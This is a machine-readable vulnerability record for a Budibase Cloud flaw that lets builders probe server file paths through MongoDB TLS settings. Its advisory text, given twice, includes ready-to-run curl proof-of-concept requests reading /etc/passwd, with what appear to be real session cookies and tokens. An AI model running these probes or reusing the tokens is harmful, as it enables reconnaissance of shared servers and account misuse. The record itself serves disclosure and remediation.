{"id":"CVE-2026-73409","aliases":["EUVD-2026-57509","GHSA-ppr4-5f46-j9c6"],"status":"published","title":"Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile","description":"Budibase is an open-source low-code platform. Prior to 3.40.1, packages/server/src/integrations/mongodb.ts passed builder-controlled tlsCertificateKeyFile and tlsCAFile values directly to MongoClient on Budibase Cloud. A builder could submit absolute server paths through /api/datasources/verify and distinguish readable existing files from missing files by comparing the driver error, exposing a filesystem existence and readability oracle on the shared server. This issue is fixed in version 3.40.1.","severity":{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00319,"percentile":0.25102,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-203","CWE-209"],"published":"2026-07-24T21:16:41Z","modified":"2026-10-28T02:31:09Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.38.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.38.1"}]}]}],"products":[{"vendor":"budibase","product":"budibase"}],"references":[{"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-ppr4-5f46-j9c6","tags":["x_refsource_CONFIRM","patch","advisory","web"]},{"url":"https://github.com/Budibase/budibase/pull/19244","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Budibase/budibase/commit/e58aa31e18272f6a1a8aeb525b7eef0b01b1dd43","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/Budibase/budibase/releases/tag/3.40.1","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/Budibase/budibase/commit/5e19b935536d6d1be1f47100e43c6fb30917826e","tags":["web"]},{"url":"https://github.com/Budibase/budibase/releases/tag/3.40.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-ppr4-5f46-j9c6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/73xxx/CVE-2026-73409.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73409","tags":["advisory"]},{"url":"https://github.com/Budibase/budibase","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-73409","title":"Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile","description":"Budibase is an open-source low-code platform. Prior to 3.40.1, packages/server/src/integrations/mongodb.ts passed builder-controlled tlsCertificateKeyFile and tlsCAFile values directly to MongoClient on Budibase Cloud. A builder could submit absolute server paths through /api/datasources/verify and distinguish readable existing files from missing files by comparing the driver error, exposing a filesystem existence and readability oracle on the shared server. This issue is fixed in version 3.40.1.","status":"published","published":"2026-08-12T19:19:59.492Z","modified":"2026-08-14T22:09:19.072Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-203"],"updated_at":"2026-11-02T13:43:33.766176Z"}],"euvd":[{"id":"EUVD-2026-57509","description":"Budibase is an open-source low-code platform. Prior to 3.40.1, packages/server/src/integrations/mongodb.ts passed builder-controlled tlsCertificateKeyFile and tlsCAFile values directly to MongoClient on Budibase Cloud. A builder could submit absolute server paths through /api/datasources/verify and distinguish readable existing files from missing files by comparing the driver error, exposing a filesystem existence and readability oracle on the shared server. This issue is fixed in version 3.40.1.","status":"published","published":"2026-08-12T19:19:59Z","modified":"2026-08-14T22:09:19Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:01:53.008072Z"}],"ghsa":[{"id":"GHSA-ppr4-5f46-j9c6","title":" Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile","description":"## Summary\nWhen creating a MongoDB datasource, Budibase passes the `tlsCertificateKeyFile` and `tlsCAFile` fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning `/api/datasources/verify` into an arbitrary-path existence/read oracle over the whole server filesystem.\n\n## Root Cause\n`packages/server/src/integrations/mongodb.ts` passes `config.tlsCertificateKeyFile` / `config.tlsCAFile` directly to `new MongoClient(config.connectionString, options)` as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / `..` paths.\n\nPOC \n## Reproduction — paste each line, press Enter\n\nLine 1 (existing file — proves the file is READ):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/datasources/verify\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"datasource\":{\"name\":\"probe\",\"source\":\"MONGODB\",\"type\":\"datasource\",\"config\":{\"connectionString\":\"mongodb://127.0.0.1:27017/?tls=true\",\"database\":\"x\",\"tlsCertificateKeyFile\":\"/etc/passwd\"}}}'\n```\n\nRESPONSE\n\n{\"connected\":false,\"error\":\"error:0480006C:PEM routines::no start line\"} \n\n\n\nLine 2 (missing file — path is reflected):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/datasources/verify\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"datasource\":{\"name\":\"probe\",\"source\":\"MONGODB\",\"type\":\"datasource\",\"config\":{\"connectionString\":\"mongodb://127.0.0.1:27017/?tls=true\",\"database\":\"x\",\"tlsCertificateKeyFile\":\"/nonexistent/pentest/xyz\"}}}'\n```\n\nRESPONSE\n\n{\"connected\":false,\"error\":\"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'\"}\n\n\n### Actual output\n```text\n/etc/passwd               -\u003e {\"connected\":false,\"error\":\"error:0480006C:PEM routines::no start line\"}          (EXISTS, was READ)\n/nonexistent/pentest/xyz  -\u003e {\"connected\":false,\"error\":\"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'\"}   (MISSING, path reflected)\n```\nExisting files return a \"PEM routines\" error (the file was read but is not PEM); missing files return `ENOENT ... open '\u003cpath\u003e'` with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.\n\n\n\n## Impact\n| Who / what is affected | How |\n|---|---|\n| The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account |\n| Server config / secret files, other tenants' paths | Located by enumerating paths (exists vs missing) |\n| PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) |\n\n## Recommended Fix\n1. On managed/Cloud, disallow `tlsCertificateKeyFile` / `tlsCAFile` as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory.\n2. Reject absolute and `..` paths; confine any file reference to an allow-listed certificates directory.\n3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.","status":"published","published":"2026-07-24T21:16:41Z","modified":"2026-08-12T19:20:06Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T14:40:58.888637Z"}],"nvd":[{"id":"CVE-2026-73409","description":"Budibase is an open-source low-code platform. Prior to 3.40.1, packages/server/src/integrations/mongodb.ts passed builder-controlled tlsCertificateKeyFile and tlsCAFile values directly to MongoClient on Budibase Cloud. A builder could submit absolute server paths through /api/datasources/verify and distinguish readable existing files from missing files by comparing the driver error, exposing a filesystem existence and readability oracle on the shared server. This issue is fixed in version 3.40.1.","status":"published","published":"2026-08-12T20:17:55.91Z","modified":"2026-09-08T20:56:50.52Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-203"],"updated_at":"2026-11-02T14:12:37.217486Z"}],"osv":[{"id":"CVE-2026-73409","title":"Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile","description":"Budibase is an open-source low-code platform. Prior to 3.40.1, packages/server/src/integrations/mongodb.ts passed builder-controlled tlsCertificateKeyFile and tlsCAFile values directly to MongoClient on Budibase Cloud. A builder could submit absolute server paths through /api/datasources/verify and distinguish readable existing files from missing files by comparing the driver error, exposing a filesystem existence and readability oracle on the shared server. This issue is fixed in version 3.40.1.","status":"published","published":"2026-08-12T19:19:59.492Z","modified":"2026-10-28T02:31:09.590167267Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-203"],"updated_at":"2026-11-02T15:45:16.365946Z"},{"id":"GHSA-ppr4-5f46-j9c6","title":" Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile","description":"## Summary\nWhen creating a MongoDB datasource, Budibase passes the `tlsCertificateKeyFile` and `tlsCAFile` fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning `/api/datasources/verify` into an arbitrary-path existence/read oracle over the whole server filesystem.\n\n## Root Cause\n`packages/server/src/integrations/mongodb.ts` passes `config.tlsCertificateKeyFile` / `config.tlsCAFile` directly to `new MongoClient(config.connectionString, options)` as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / `..` paths.\n\nPOC \n## Reproduction — paste each line, press Enter\n\nLine 1 (existing file — proves the file is READ):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/datasources/verify\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"datasource\":{\"name\":\"probe\",\"source\":\"MONGODB\",\"type\":\"datasource\",\"config\":{\"connectionString\":\"mongodb://127.0.0.1:27017/?tls=true\",\"database\":\"x\",\"tlsCertificateKeyFile\":\"/etc/passwd\"}}}'\n```\n\nRESPONSE\n\n{\"connected\":false,\"error\":\"error:0480006C:PEM routines::no start line\"} \n\n\n\nLine 2 (missing file — path is reflected):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/datasources/verify\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"datasource\":{\"name\":\"probe\",\"source\":\"MONGODB\",\"type\":\"datasource\",\"config\":{\"connectionString\":\"mongodb://127.0.0.1:27017/?tls=true\",\"database\":\"x\",\"tlsCertificateKeyFile\":\"/nonexistent/pentest/xyz\"}}}'\n```\n\nRESPONSE\n\n{\"connected\":false,\"error\":\"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'\"}\n\n\n### Actual output\n```text\n/etc/passwd               -\u003e {\"connected\":false,\"error\":\"error:0480006C:PEM routines::no start line\"}          (EXISTS, was READ)\n/nonexistent/pentest/xyz  -\u003e {\"connected\":false,\"error\":\"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'\"}   (MISSING, path reflected)\n```\nExisting files return a \"PEM routines\" error (the file was read but is not PEM); missing files return `ENOENT ... open '\u003cpath\u003e'` with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.\n\n\n\n## Impact\n| Who / what is affected | How |\n|---|---|\n| The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account |\n| Server config / secret files, other tenants' paths | Located by enumerating paths (exists vs missing) |\n| PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) |\n\n## Recommended Fix\n1. On managed/Cloud, disallow `tlsCertificateKeyFile` / `tlsCAFile` as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory.\n2. Reject absolute and `..` paths; confine any file reference to an allow-listed certificates directory.\n3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.","status":"published","published":"2026-07-24T21:16:41Z","modified":"2026-08-12T19:40:58.830104Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T15:46:53.244788Z"}]}}
